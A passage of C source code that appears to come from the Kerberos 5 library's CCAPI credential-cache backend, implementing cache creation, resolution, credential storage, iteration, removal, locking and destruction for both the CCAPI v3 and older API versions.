if (gCCVersion >= ccapi_version_5) {
krb5_os_context os_ctx = (krb5_os_context) &in_context->os_context;
if (!err && os_ctx->os_flags & KRB5_OS_TOFFSET_VALID) {
err = cc_ccache_set_kdc_time_offset (in_ccache,
cc_credentials_v5,
os_ctx->time_offset);
}
}
return err; /* Don't translate. Callers will translate for us */
}
static krb5_error_code stdccv3_setup (krb5_context context,
stdccCacheDataPtr ccapi_data)
{
krb5_error_code err = 0;
if (!err && !gCntrlBlock) {
err = cc_initialize (&gCntrlBlock, ccapi_version_max, &gCCVersion, NULL);
}
if (!err && ccapi_data && !ccapi_data->NamedCache) {
/* ccache has not been opened yet. open it. */
err = cc_context_open_ccache (gCntrlBlock, ccapi_data->cache_name,
&ccapi_data->NamedCache);
}
if (!err && ccapi_data && ccapi_data->NamedCache) {
err = stdccv3_get_timeoffset (context, ccapi_data->NamedCache);
}
return err; /* Don't translate. Callers will translate for us */
}
/* krb5_stdcc_shutdown is exported; use the old name */
void krb5_stdcc_shutdown()
{
if (gCntrlBlock) { cc_context_release(gCntrlBlock); }
gCntrlBlock = NULL;
gCCVersion = 0;
}
/*
* -- generate_new --------------------------------
*
* create a new cache with a unique name, corresponds to creating a
* named cache initialize the API here if we have to.
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_generate_new (krb5_context context, krb5_ccache *id )
{
krb5_error_code err = 0;
krb5_ccache newCache = NULL;
stdccCacheDataPtr ccapi_data = NULL;
cc_ccache_t ccache = NULL;
cc_string_t ccstring = NULL;
char *name = NULL;
if (!err) {
err = stdccv3_setup(context, NULL);
}
if (!err) {
newCache = (krb5_ccache) malloc (sizeof (*newCache));
if (!newCache) { err = KRB5_CC_NOMEM; }
}
if (!err) {
ccapi_data = (stdccCacheDataPtr) malloc (sizeof (*ccapi_data));
if (!ccapi_data) { err = KRB5_CC_NOMEM; }
}
if (!err) {
err = cc_context_create_new_ccache (gCntrlBlock, cc_credentials_v5, "",
&ccache);
}
if (!err) {
err = stdccv3_set_timeoffset (context, ccache);
}
if (!err) {
err = cc_ccache_get_name (ccache, &ccstring);
}
if (!err) {
name = strdup (ccstring->data);
if (!name) { err = KRB5_CC_NOMEM; }
}
if (!err) {
ccapi_data->cache_name = name;
name = NULL; /* take ownership */
ccapi_data->NamedCache = ccache;
ccache = NULL; /* take ownership */
newCache->ops = &krb5_cc_stdcc_ops;
newCache->data = ccapi_data;
ccapi_data = NULL; /* take ownership */
/* return a pointer to the new cache */
*id = newCache;
newCache = NULL;
}
if (ccstring) { cc_string_release (ccstring); }
if (name) { free (name); }
if (ccache) { cc_ccache_release (ccache); }
if (ccapi_data) { free (ccapi_data); }
if (newCache) { free (newCache); }
return cc_err_xlate (err);
}
/*
* resolve
*
* create a new cache with the name stored in residual
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_resolve (krb5_context context, krb5_ccache *id , const char *residual )
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = NULL;
krb5_ccache ccache = NULL;
char *name = NULL;
cc_string_t defname = NULL;
if (id == NULL) { err = KRB5_CC_NOMEM; }
if (!err) {
err = stdccv3_setup (context, NULL);
}
if (!err) {
ccapi_data = (stdccCacheDataPtr) malloc (sizeof (*ccapi_data));
if (!ccapi_data) { err = KRB5_CC_NOMEM; }
}
if (!err) {
ccache = (krb5_ccache ) malloc (sizeof (*ccache));
if (!ccache) { err = KRB5_CC_NOMEM; }
}
if (!err) {
if ((residual == NULL) || (strlen(residual) == 0)) {
err = cc_context_get_default_ccache_name(gCntrlBlock, &defname);
if (defname)
residual = defname->data;
}
}
if (!err) {
name = strdup (residual);
if (!name) { err = KRB5_CC_NOMEM; }
}
if (!err) {
err = cc_context_open_ccache (gCntrlBlock, residual,
&ccapi_data->NamedCache);
if (err == ccErrCCacheNotFound) {
ccapi_data->NamedCache = NULL;
err = 0; /* ccache just doesn't exist yet */
}
}
if (!err) {
ccapi_data->cache_name = name;
name = NULL; /* take ownership */
ccache->ops = &krb5_cc_stdcc_ops;
ccache->data = ccapi_data;
ccapi_data = NULL; /* take ownership */
*id = ccache;
ccache = NULL; /* take ownership */
}
if (ccache) { free (ccache); }
if (ccapi_data) { free (ccapi_data); }
if (name) { free (name); }
if (defname) { cc_string_release(defname); }
return cc_err_xlate (err);
}
/*
* initialize
*
* initialize the cache, check to see if one already exists for this
* principal if not set our principal to this principal. This
* searching enables ticket sharing
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_initialize (krb5_context context,
krb5_ccache id,
krb5_principal princ)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
char *name = NULL;
cc_ccache_t ccache = NULL;
if (id == NULL) { err = KRB5_CC_NOMEM; }
if (!err) {
err = stdccv3_setup (context, NULL);
}
if (!err) {
err = krb5_unparse_name(context, princ, &name);
}
if (!err) {
err = cc_context_create_ccache (gCntrlBlock, ccapi_data->cache_name,
cc_credentials_v5, name,
&ccache);
}
if (!err) {
err = stdccv3_set_timeoffset (context, ccache);
}
if (!err) {
if (ccapi_data->NamedCache) {
err = cc_ccache_release (ccapi_data->NamedCache);
}
ccapi_data->NamedCache = ccache;
ccache = NULL; /* take ownership */
cache_changed ();
}
if (ccache) { cc_ccache_release (ccache); }
if (name ) { krb5_free_unparsed_name(context, name); }
return cc_err_xlate(err);
}
/*
* store
*
* store some credentials in our cache
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_store (krb5_context context, krb5_ccache id, krb5_creds *creds )
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
cc_credentials_union *cred_union = NULL;
if (!err) {
err = stdccv3_setup (context, ccapi_data);
}
if (!err) {
/* copy the fields from the almost identical structures */
err = copy_krb5_creds_to_cc_cred_union (context, creds, &cred_union);
}
if (!err) {
err = cc_ccache_store_credentials (ccapi_data->NamedCache, cred_union);
}
if (!err) {
cache_changed();
}
if (cred_union) { cred_union_release (cred_union); }
return cc_err_xlate (err);
}
/*
* start_seq_get
*
* begin an iterator call to get all of the credentials in the cache
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_start_seq_get (krb5_context context,
krb5_ccache id,
krb5_cc_cursor *cursor )
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
cc_credentials_iterator_t iterator = NULL;
if (!err) {
err = stdccv3_setup (context, ccapi_data);
}
if (!err) {
err = cc_ccache_new_credentials_iterator(ccapi_data->NamedCache,
&iterator);
}
if (!err) {
*cursor = iterator;
}
return cc_err_xlate (err);
}
/*
* next cred
*
* - get the next credential in the cache as part of an iterator call
* - this maps to call to cc_seq_fetch_creds
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_next_cred (krb5_context context,
krb5_ccache id,
krb5_cc_cursor *cursor,
krb5_creds *creds)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
cc_credentials_t credentials = NULL;
cc_credentials_iterator_t iterator = *cursor;
if (!iterator) { err = KRB5_CC_END; }
if (!err) {
err = stdccv3_setup (context, ccapi_data);
}
/* Note: CCAPI v3 ccaches can contain both v4 and v5 creds */
while (!err) {
err = cc_credentials_iterator_next (iterator, &credentials);
if (!err && (credentials->data->version == cc_credentials_v5)) {
copy_cc_cred_union_to_krb5_creds(context, credentials->data, creds);
break;
}
}
if (credentials) { cc_credentials_release (credentials); }
if (err == ccIteratorEnd) {
cc_credentials_iterator_release (iterator);
*cursor = 0;
}
return cc_err_xlate (err);
}
/*
* retrieve
*
* - try to find a matching credential in the cache
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_retrieve (krb5_context context,
krb5_ccache id,
krb5_flags whichfields,
krb5_creds *mcreds,
krb5_creds *creds)
{
return k5_cc_retrieve_cred_default(context, id, whichfields, mcreds,
creds);
}
/*
* end seq
*
* just free up the storage assoicated with the cursor (if we can)
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_end_seq_get (krb5_context context,
krb5_ccache id,
krb5_cc_cursor *cursor)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
cc_credentials_iterator_t iterator = *cursor;
if (!iterator) { return 0; }
if (!err) {
err = stdccv3_setup (context, ccapi_data);
}
if (!err) {
err = cc_credentials_iterator_release(iterator);
}
return cc_err_xlate(err);
}
/*
* close
*
* - free our pointers to the NC
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_close(krb5_context context,
krb5_ccache id)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
if (!err) {
err = stdccv3_setup (context, NULL);
}
if (!err) {
if (ccapi_data) {
if (ccapi_data->cache_name) {
free (ccapi_data->cache_name);
}
if (ccapi_data->NamedCache) {
err = cc_ccache_release (ccapi_data->NamedCache);
}
free (ccapi_data);
id->data = NULL;
}
free (id);
}
return cc_err_xlate(err);
}
/*
* destroy
*
* - free our storage and the cache
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_destroy (krb5_context context,
krb5_ccache id)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
if (!err) {
err = stdccv3_setup(context, ccapi_data);
}
if (!err) {
if (ccapi_data) {
if (ccapi_data->cache_name) {
free(ccapi_data->cache_name);
}
if (ccapi_data->NamedCache) {
/* destroy the named cache */
err = cc_ccache_destroy(ccapi_data->NamedCache);
if (err == ccErrCCacheNotFound) {
err = 0; /* ccache maybe already destroyed */
}
cache_changed();
}
free(ccapi_data);
id->data = NULL;
}
free(id);
}
return cc_err_xlate(err);
}
/*
* getname
*
* - return the name of the named cache
*/
const char * KRB5_CALLCONV
krb5_stdccv3_get_name (krb5_context context,
krb5_ccache id )
{
stdccCacheDataPtr ccapi_data = id->data;
if (!ccapi_data) {
return NULL;
} else {
return (ccapi_data->cache_name);
}
}
/* get_principal
*
* - return the principal associated with the named cache
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_get_principal (krb5_context context,
krb5_ccache id ,
krb5_principal *princ)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
cc_string_t name = NULL;
if (!err) {
err = stdccv3_setup(context, ccapi_data);
}
if (!err) {
err = cc_ccache_get_principal (ccapi_data->NamedCache, cc_credentials_v5, &name);
}
if (!err) {
err = krb5_parse_name (context, name->data, princ);
} else {
err = cc_err_xlate (err);
}
if (name) { cc_string_release (name); }
return err;
}
/*
* set_flags
*
* - currently a NOP since we don't store any flags in the NC
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_set_flags (krb5_context context,
krb5_ccache id,
krb5_flags flags)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
err = stdccv3_setup (context, ccapi_data);
return cc_err_xlate (err);
}
/*
* get_flags
*
* - currently a NOP since we don't store any flags in the NC
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_get_flags (krb5_context context,
krb5_ccache id,
krb5_flags *flags)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
err = stdccv3_setup (context, ccapi_data);
return cc_err_xlate (err);
}
/*
* remove
*
* - remove the specified credentials from the NC
*/
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_remove (krb5_context context,
krb5_ccache id,
krb5_flags whichfields,
krb5_creds *in_creds)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
cc_credentials_iterator_t iterator = NULL;
int found = 0;
if (!err) {
err = stdccv3_setup(context, ccapi_data);
}
if (!err) {
err = cc_ccache_new_credentials_iterator(ccapi_data->NamedCache,
&iterator);
}
/* Note: CCAPI v3 ccaches can contain both v4 and v5 creds */
while (!err && !found) {
cc_credentials_t credentials = NULL;
err = cc_credentials_iterator_next (iterator, &credentials);
if (!err && (credentials->data->version == cc_credentials_v5)) {
krb5_creds creds;
err = copy_cc_cred_union_to_krb5_creds(context,
credentials->data, &creds);
if (!err) {
found = krb5int_cc_creds_match_request(context,
whichfields,
in_creds,
&creds);
krb5_free_cred_contents (context, &creds);
}
if (!err && found) {
err = cc_ccache_remove_credentials (ccapi_data->NamedCache, credentials);
}
}
if (credentials) { cc_credentials_release (credentials); }
}
if (err == ccIteratorEnd) { err = ccErrCredentialsNotFound; }
if (iterator) {
err = cc_credentials_iterator_release(iterator);
}
if (!err) {
cache_changed ();
}
return cc_err_xlate (err);
}
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_ptcursor_new(krb5_context context,
krb5_cc_ptcursor *cursor)
{
krb5_error_code err = 0;
krb5_cc_ptcursor ptcursor = NULL;
cc_ccache_iterator_t iterator = NULL;
ptcursor = malloc(sizeof(*ptcursor));
if (ptcursor == NULL) {
err = ccErrNoMem;
}
else {
memset(ptcursor, 0, sizeof(*ptcursor));
}
if (!err) {
err = stdccv3_setup(context, NULL);
}
if (!err) {
ptcursor->ops = &krb5_cc_stdcc_ops;
err = cc_context_new_ccache_iterator(gCntrlBlock, &iterator);
}
if (!err) {
ptcursor->data = iterator;
}
if (err) {
if (ptcursor) { krb5_stdccv3_ptcursor_free(context, &ptcursor); }
// krb5_stdccv3_ptcursor_free sets ptcursor to NULL for us
}
*cursor = ptcursor;
return cc_err_xlate(err);
}
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_ptcursor_next(
krb5_context context,
krb5_cc_ptcursor cursor,
krb5_ccache *ccache)
{
krb5_error_code err = 0;
cc_ccache_iterator_t iterator = NULL;
krb5_ccache newCache = NULL;
stdccCacheDataPtr ccapi_data = NULL;
cc_ccache_t ccCache = NULL;
cc_string_t ccstring = NULL;
char *name = NULL;
if (!cursor || !cursor->data) {
err = ccErrInvalidContext;
}
*ccache = NULL;
if (!err) {
newCache = (krb5_ccache) malloc (sizeof (*newCache));
if (!newCache) { err = ccErrNoMem; }
}
if (!err) {
ccapi_data = (stdccCacheDataPtr) malloc (sizeof (*ccapi_data));
if (!ccapi_data) { err = ccErrNoMem; }
}
if (!err) {
iterator = cursor->data;
err = cc_ccache_iterator_next(iterator, &ccCache);
}
if (!err) {
err = cc_ccache_get_name (ccCache, &ccstring);
}
if (!err) {
name = strdup (ccstring->data);
if (!name) { err = ccErrNoMem; }
}
if (!err) {
ccapi_data->cache_name = name;
name = NULL; /* take ownership */
ccapi_data->NamedCache = ccCache;
ccCache = NULL; /* take ownership */
newCache->ops = &krb5_cc_stdcc_ops;
newCache->data = ccapi_data;
ccapi_data = NULL; /* take ownership */
/* return a pointer to the new cache */
*ccache = newCache;
newCache = NULL;
}
if (name) { free (name); }
if (ccstring) { cc_string_release (ccstring); }
if (ccCache) { cc_ccache_release (ccCache); }
if (ccapi_data) { free (ccapi_data); }
if (newCache) { free (newCache); }
if (err == ccIteratorEnd) {
err = ccNoError;
}
return cc_err_xlate(err);
}
krb5_error_code KRB5_CALLCONV
krb5_stdccv3_ptcursor_free(
krb5_context context,
krb5_cc_ptcursor *cursor)
{
if (*cursor != NULL) {
if ((*cursor)->data != NULL) {
cc_ccache_iterator_release((cc_ccache_iterator_t)((*cursor)->data));
}
free(*cursor);
*cursor = NULL;
}
return 0;
}
krb5_error_code KRB5_CALLCONV krb5_stdccv3_last_change_time
(krb5_context context, krb5_ccache id,
krb5_timestamp *change_time)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
cc_time_t ccapi_change_time = 0;
*change_time = 0;
if (!err) {
err = stdccv3_setup(context, ccapi_data);
}
if (!err) {
err = cc_ccache_get_change_time (ccapi_data->NamedCache, &ccapi_change_time);
}
if (!err) {
*change_time = ccapi_change_time;
}
return cc_err_xlate (err);
}
krb5_error_code KRB5_CALLCONV krb5_stdccv3_lock
(krb5_context context, krb5_ccache id)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
if (!err) {
err = stdccv3_setup(context, ccapi_data);
}
if (!err) {
err = cc_ccache_lock(ccapi_data->NamedCache, cc_lock_write, cc_lock_block);
}
return cc_err_xlate(err);
}
krb5_error_code KRB5_CALLCONV krb5_stdccv3_unlock
(krb5_context context, krb5_ccache id)
{
krb5_error_code err = 0;
stdccCacheDataPtr ccapi_data = id->data;
if (!err) {
err = stdccv3_setup(context, ccapi_data);
}
if (!err) {
err = cc_ccache_unlock(ccapi_data->NamedCache);
}
return cc_err_xlate(err);
}
krb5_error_code KRB5_CALLCONV krb5_stdccv3_context_lock
(krb5_context context)
{
krb5_error_code err = 0;
if (!err && !gCntrlBlock) {
err = cc_initialize (&gCntrlBlock, ccapi_version_max, &gCCVersion, NULL);
}
if (!err) {
err = cc_context_lock(gCntrlBlock, cc_lock_write, cc_lock_block);
}
return cc_err_xlate(err);
}
krb5_error_code KRB5_CALLCONV krb5_stdccv3_context_unlock
(krb5_context context)
{
krb5_error_code err = 0;
if (!err && !gCntrlBlock) {
err = cc_initialize (&gCntrlBlock, ccapi_version_max, &gCCVersion, NULL);
}
if (!err) {
err = cc_context_unlock(gCntrlBlock);
}
return cc_err_xlate(err);
}
krb5_error_code KRB5_CALLCONV krb5_stdccv3_switch_to
(krb5_context context, krb5_ccache id)
{
krb5_error_code retval;
stdccCacheDataPtr ccapi_data = id->data;
int err;
retval = stdccv3_setup(context, ccapi_data);
if (retval)
return cc_err_xlate(retval);
err = cc_ccache_set_default(ccapi_data->NamedCache);
return cc_err_xlate(err);
}
#else /* !USE_CCAPI_V3 */
static krb5_error_code stdcc_setup(krb5_context context,
stdccCacheDataPtr ccapi_data)
{
int err;
/* make sure the API has been intialized */
if (gCntrlBlock == NULL) {
#ifdef CC_API_VER2
err = cc_initialize(&gCntrlBlock, CC_API_VER_2, NULL, NULL);
#else
err = cc_initialize(&gCntrlBlock, CC_API_VER_1, NULL, NULL);
#endif
if (err != CC_NOERROR)
return cc_err_xlate(err);
}
/*
* No ccapi_data structure, so we don't need to make sure the
* ccache exists.
*/
if (!ccapi_data)
return 0;
/*
* The ccache already exists
*/
if (ccapi_data->NamedCache)
return 0;
err = cc_open(gCntrlBlock, ccapi_data->cache_name,
CC_CRED_V5, 0L, &ccapi_data->NamedCache);
if (err == CC_NOTFOUND)
err = CC_NO_EXIST;
if (err == CC_NOERROR)
return 0;
ccapi_data->NamedCache = NULL;
return cc_err_xlate(err);
}
void krb5_stdcc_shutdown()
{
if (gCntrlBlock)
cc_shutdown(&gCntrlBlock);
gCntrlBlock = NULL;
}
/*
* -- generate_new --------------------------------
*
* create a new cache with a unique name, corresponds to creating a
* named cache iniitialize the API here if we have to.
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_generate_new
(krb5_context context, krb5_ccache *id )
{
krb5_ccache newCache = NULL;
krb5_error_code retval;
stdccCacheDataPtr ccapi_data = NULL;
char *name = NULL;
cc_time_t change_time;
int err;
if ((retval = stdcc_setup(context, NULL)))
return retval;
retval = KRB5_CC_NOMEM;
if (!(newCache = (krb5_ccache) malloc(sizeof(struct _krb5_ccache))))
goto errout;
if (!(ccapi_data = (stdccCacheDataPtr)malloc(sizeof(stdccCacheData))))
goto errout;
if (!(name = malloc(256)))
goto errout;
/* create a unique name */
cc_get_change_time(gCntrlBlock, &change_time);
snprintf(name, 256, "gen_new_cache%d", change_time);
/* create the new cache */
err = cc_create(gCntrlBlock, name, name, CC_CRED_V5, 0L,
&ccapi_data->NamedCache);
if (err != CC_NOERROR) {
retval = cc_err_xlate(err);
goto errout;
}
/* setup some fields */
newCache->ops = &krb5_cc_stdcc_ops;
newCache->data = ccapi_data;
ccapi_data->cache_name = name;
/* return a pointer to the new cache */
*id = newCache;
return 0;
errout:
if (newCache)
free(newCache);
if (ccapi_data)
free(ccapi_data);
if (name)
free(name);
return retval;
}
/*
* resolve
*
* create a new cache with the name stored in residual
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_resolve
(krb5_context context, krb5_ccache *id , const char *residual )
{
krb5_ccache newCache = NULL;
stdccCacheDataPtr ccapi_data = NULL;
int err;
krb5_error_code retval;
char *cName = NULL;
if ((retval = stdcc_setup(context, NULL)))
return retval;
retval = KRB5_CC_NOMEM;
if (!(newCache = (krb5_ccache) malloc(sizeof(struct _krb5_ccache))))
goto errout;
if (!(ccapi_data = (stdccCacheDataPtr)malloc(sizeof(stdccCacheData))))
goto errout;
if (!(cName = strdup(residual)))
goto errout;
newCache->ops = &krb5_cc_stdcc_ops;
newCache->data = ccapi_data;
ccapi_data->cache_name = cName;
err = cc_open(gCntrlBlock, cName, CC_CRED_V5, 0L,
&ccapi_data->NamedCache);
if (err != CC_NOERROR) {
ccapi_data->NamedCache = NULL;
if (err != CC_NO_EXIST) {
retval = cc_err_xlate(err);
goto errout;
}
}
/* return new cache structure */
*id = newCache;
return 0;
errout:
if (newCache)
free(newCache);
if (ccapi_data)
free(ccapi_data);
if (cName)
free(cName);
return retval;
}
/*
* initialize
*
* initialize the cache, check to see if one already exists for this
* principal if not set our principal to this principal. This
* searching enables ticket sharing
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_initialize
(krb5_context context, krb5_ccache id, krb5_principal princ)
{
stdccCacheDataPtr ccapi_data = NULL;
int err;
char *cName = NULL;
krb5_error_code retval;
if ((retval = stdcc_setup(context, NULL)))
return retval;
/* test id for null */
if (id == NULL) return KRB5_CC_NOMEM;
if ((retval = krb5_unparse_name(context, princ, &cName)))
return retval;
ccapi_data = id->data;
if (ccapi_data->NamedCache)
cc_close(gCntrlBlock, &ccapi_data->NamedCache);
err = cc_create(gCntrlBlock, ccapi_data->cache_name, cName,
CC_CRED_V5, 0L, &ccapi_data->NamedCache);
if (err != CC_NOERROR) {
krb5_free_unparsed_name(context, cName);
return cc_err_xlate(err);
}
#if 0
/*
* Some implementations don't set the principal name
* correctly, so we force set it to the correct value.
*/
err = cc_set_principal(gCntrlBlock, ccapi_data->NamedCache,
CC_CRED_V5, cName);
#endif
krb5_free_unparsed_name(context, cName);
cache_changed();
return cc_err_xlate(err);
}
/*
* store
*
* store some credentials in our cache
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_store
(krb5_context context, krb5_ccache id, krb5_creds *creds )
{
krb5_error_code retval;
stdccCacheDataPtr ccapi_data = id->data;
cred_union *cu = NULL;
int err;
if ((retval = stdcc_setup(context, ccapi_data)))
return retval;
/* copy the fields from the almost identical structures */
dupK5toCC(context, creds, &cu);
/*
* finally store the credential
* store will copy (that is duplicate) everything
*/
err = cc_store(gCntrlBlock,
((stdccCacheDataPtr)(id->data))->NamedCache, *cu);
if (err != CC_NOERROR)
return cc_err_xlate(err);
/* free the cred union using our local version of cc_free_creds()
since we allocated it locally */
err = krb5int_free_cc_cred_union(&cu);
cache_changed();
return err;
}
/*
* start_seq_get
*
* begin an iterator call to get all of the credentials in the cache
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_start_seq_get
(krb5_context context, krb5_ccache id , krb5_cc_cursor *cursor )
{
stdccCacheDataPtr ccapi_data = id->data;
krb5_error_code retval;
int err;
ccache_cit *iterator;
if ((retval = stdcc_setup(context, ccapi_data)))
return retval;
#ifdef CC_API_VER2
err = cc_seq_fetch_creds_begin(gCntrlBlock, ccapi_data->NamedCache,
&iterator);
if (err != CC_NOERROR)
return cc_err_xlate(err);
*cursor = iterator;
#else
/* all we have to do is initialize the cursor */
*cursor = NULL;
#endif
return 0;
}
/*
* next cred
*
* - get the next credential in the cache as part of an iterator call
* - this maps to call to cc_seq_fetch_creds
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_next_cred
(krb5_context context, krb5_ccache id, krb5_cc_cursor *cursor,
krb5_creds *creds)
{
krb5_error_code retval;
stdccCacheDataPtr ccapi_data = id->data;
int err;
cred_union *credU = NULL;
ccache_cit *iterator;
if ((retval = stdcc_setup(context, ccapi_data)))
return retval;
#ifdef CC_API_VER2
iterator = *cursor;
if (iterator == 0)
return KRB5_CC_END;
err = cc_seq_fetch_creds_next(gCntrlBlock, &credU, iterator);
if (err == CC_END) {
cc_seq_fetch_creds_end(gCntrlBlock, &iterator);
*cursor = 0;
}
#else
err = cc_seq_fetch_creds(gCntrlBlock, ccapi_data->NamedCache,
&credU, (ccache_cit **)cursor);
#endif
if (err != CC_NOERROR)
return cc_err_xlate(err);
/* copy data (with translation) */
dupCCtoK5(context, credU->cred.pV5Cred, creds);
/* free our version of the cred - okay to use cc_free_creds() here
because we got it from the CCache library */
cc_free_creds(gCntrlBlock, &credU);
return 0;
}
/*
* retreive
*
* - try to find a matching credential in the cache
*/
#if 0
krb5_error_code KRB5_CALLCONV krb5_stdcc_retrieve
(krb5_context context,
krb5_ccache id,
krb5_flags whichfields,
krb5_creds *mcreds,
krb5_creds *creds )
{
krb5_error_code retval;
krb5_cc_cursor curs = NULL;
krb5_creds *fetchcreds;
if ((retval = stdcc_setup(context, NULL)))
return retval;
fetchcreds = (krb5_creds *)malloc(sizeof(krb5_creds));
if (fetchcreds == NULL) return KRB5_CC_NOMEM;
/* we're going to use the iterators */
krb5_stdcc_start_seq_get(context, id, &curs);
while (!krb5_stdcc_next_cred(context, id, &curs, fetchcreds)) {
/*
* look at each credential for a match
* use this match routine since it takes the
* whichfields and the API doesn't
*/
if (stdccCredsMatch(context, fetchcreds,
mcreds, whichfields)) {
/* we found it, copy and exit */
*creds = *fetchcreds;
krb5_stdcc_end_seq_get(context, id, &curs);
return 0;
}
/* free copy allocated by next_cred */
krb5_free_cred_contents(context, fetchcreds);
}
/* no luck, end get and exit */
krb5_stdcc_end_seq_get(context, id, &curs);
/* we're not using this anymore so we should get rid of it! */
free(fetchcreds);
return KRB5_CC_NOTFOUND;
}
#else
krb5_error_code KRB5_CALLCONV
krb5_stdcc_retrieve(context, id, whichfields, mcreds, creds)
krb5_context context;
krb5_ccache id;
krb5_flags whichfields;
krb5_creds *mcreds;
krb5_creds *creds;
{
return k5_cc_retrieve_cred_default(context, id, whichfields, mcreds,
creds);
}
#endif
/*
* end seq
*
* just free up the storage assoicated with the cursor (if we could)
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_end_seq_get
(krb5_context context, krb5_ccache id, krb5_cc_cursor *cursor)
{
krb5_error_code retval;
stdccCacheDataPtr ccapi_data = NULL;
int err;
#ifndef CC_API_VER2
cred_union *credU = NULL;
#endif
ccapi_data = id->data;
if ((retval = stdcc_setup(context, ccapi_data)))
return retval;
if (*cursor == NULL)
return 0;
#ifdef CC_API_VER2
err = cc_seq_fetch_creds_end(gCntrlBlock, (ccache_cit **)cursor);
if (err != CC_NOERROR)
return cc_err_xlate(err);
#else
/*
* Finish calling cc_seq_fetch_creds to clear out the cursor
*/
while (*cursor) {
err = cc_seq_fetch_creds(gCntrlBlock, ccapi_data->NamedCache,
&credU, (ccache_cit **)cursor);
if (err)
break;
/* okay to call cc_free_creds() here because we got credU from CCache lib */
cc_free_creds(gCntrlBlock, &credU);
}
#endif
return(0);
}
/*
* close
*
* - free our pointers to the NC
*/
krb5_error_code KRB5_CALLCONV
krb5_stdcc_close(krb5_context context, krb5_ccache id)
{
krb5_error_code retval;
stdccCacheDataPtr ccapi_data = id->data;
if ((retval = stdcc_setup(context, NULL)))
return retval;
/* free it */
if (ccapi_data) {
if (ccapi_data->cache_name)
free(ccapi_data->cache_name);
if (ccapi_data->NamedCache)
cc_close(gCntrlBlock, &ccapi_data->NamedCache);
free(ccapi_data);
id->data = NULL;
}
free(id);
return 0;
}
/*
* destroy
*
* - free our storage and the cache
*/
krb5_error_code KRB5_CALLCONV
krb5_stdcc_destroy (krb5_context context, krb5_ccache id)
{
int err;
krb5_error_code retval;
stdccCacheDataPtr ccapi_data = id->data;
if ((retval = stdcc_setup(context, ccapi_data))) {
return retval;
}
/* free memory associated with the krb5_ccache */
if (ccapi_data) {
if (ccapi_data->cache_name)
free(ccapi_data->cache_name);
if (ccapi_data->NamedCache) {
/* destroy the named cache */
err = cc_destroy(gCntrlBlock, &ccapi_data->NamedCache);
retval = cc_err_xlate(err);
cache_changed();
}
free(ccapi_data);
id->data = NULL;
}
free(id);
/* If the cache does not exist when we tried to destroy it,
that's fine. That means someone else destryoed it since
we resolved it. */
if (retval == KRB5_FCC_NOFILE)
return 0;
return retval;
}
/*
* getname
*
* - return the name of the named cache
*/
const char * KRB5_CALLCONV krb5_stdcc_get_name
(krb5_context context, krb5_ccache id )
{
stdccCacheDataPtr ccapi_data = id->data;
if (!ccapi_data)
return 0;
return (ccapi_data->cache_name);
}
/* get_principal
*
* - return the principal associated with the named cache
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_get_principal
(krb5_context context, krb5_ccache id , krb5_principal *princ)
{
int err;
char *name = NULL;
stdccCacheDataPtr ccapi_data = id->data;
krb5_error_code retval;
if ((retval = stdcc_setup(context, ccapi_data)))
return retval;
/* another wrapper */
err = cc_get_principal(gCntrlBlock, ccapi_data->NamedCache,
&name);
if (err != CC_NOERROR)
return cc_err_xlate(err);
/* turn it into a krb principal */
err = krb5_parse_name(context, name, princ);
cc_free_principal(gCntrlBlock, &name);
return err;
}
/*
* set_flags
*
* - currently a NOP since we don't store any flags in the NC
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_set_flags
(krb5_context context, krb5_ccache id , krb5_flags flags)
{
stdccCacheDataPtr ccapi_data = id->data;
krb5_error_code retval;
if ((retval = stdcc_setup(context, ccapi_data)))
return retval;
return 0;
}
/*
* get_flags
*
* - currently a NOP since we don't store any flags in the NC
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_get_flags
(krb5_context context, krb5_ccache id , krb5_flags *flags)
{
stdccCacheDataPtr ccapi_data = id->data;
krb5_error_code retval;
if ((retval = stdcc_setup(context, ccapi_data)))
return retval;
return 0;
}
/*
* remove
*
* - remove the specified credentials from the NC
*/
krb5_error_code KRB5_CALLCONV krb5_stdcc_remove
(krb5_context context, krb5_ccache id,
krb5_flags flags, krb5_creds *creds)
{
cred_union *cu = NULL;
int err;
stdccCacheDataPtr ccapi_data = id->data;
